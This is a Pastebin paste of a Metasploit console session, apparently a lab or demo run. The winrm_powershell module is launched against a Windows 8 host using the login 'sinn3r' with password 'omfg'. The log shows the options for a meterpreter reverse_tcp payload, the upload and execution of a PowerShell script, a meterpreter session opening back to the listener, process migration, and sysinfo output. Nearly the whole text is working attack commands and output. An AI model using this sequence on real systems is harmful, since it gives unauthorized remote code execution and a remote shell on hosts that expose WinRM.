Advertisement
Guest User

Untitled

a guest
Oct 31st, 2012
1,777
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.07 KB | None | 0 0
  1. msf exploit(winrm_powershell) > show options
  2.  
  3. Module options (exploit/windows/winrm/winrm_powershell):
  4.  
  5. Name Current Setting Required Description
  6. ---- --------------- -------- -----------
  7. DOMAIN WORKSTATION yes The domain to use for Windows authentification
  8. PASSWORD omfg no A specific password to authenticate with
  9. Proxies no Use a proxy chain
  10. RHOST 10.6.255.158 yes The target address
  11. RPORT 5985 yes The target port
  12. URI /wsman yes The URI of the WinRM service
  13. USERNAME sinn3r no A specific username to authenticate as
  14. VHOST no HTTP server virtual host
  15.  
  16.  
  17. Payload options (windows/meterpreter/reverse_tcp):
  18.  
  19. Name Current Setting Required Description
  20. ---- --------------- -------- -----------
  21. EXITFUNC thread yes Exit technique: seh, thread, process, none
  22. LHOST 10.6.255.84 yes The listen address
  23. LPORT 4444 yes The listen port
  24.  
  25.  
  26. Exploit target:
  27.  
  28. Id Name
  29. -- ----
  30. 0 Automatic
  31.  
  32.  
  33. msf exploit(winrm_powershell) > rexploit
  34. [*] Reloading module...
  35.  
  36. [*] Started reverse handler on 10.6.255.84:4444
  37. [*] Attempting to set Execution Policy
  38. [*] Grabbing %TEMP%
  39. [*] uploading powershell script to C:\Users\sinn3r\AppData\Local\Temp\uUIpRDrz.ps1
  40. [*] Attempting to execute script...
  41. [*] Sending stage (752128 bytes) to 10.6.255.158
  42. [*] Meterpreter session 1 opened (10.6.255.84:4444 -> 10.6.255.158:49535) at 2012-10-31 17:09:00 -0500
  43.  
  44. meterpreter >
  45. [*] Session ID 1 (10.6.255.84:4444 -> 10.6.255.158:49535) processing InitialAutoRunScript 'post/windows/manage/smart_migrate'
  46. [*] Current server process: powershell.exe (2844)
  47. [+] Migrating to 696
  48. [+] Successfully migrated to process
  49.  
  50. meterpreter > sysinfo
  51. Computer : WIN-VFQHRRTCA39
  52. OS : Windows 8 (Build 9200).
  53. Architecture : x86
  54. System Language : en_US
  55. Meterpreter : x86/win32
  56. meterpreter >
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement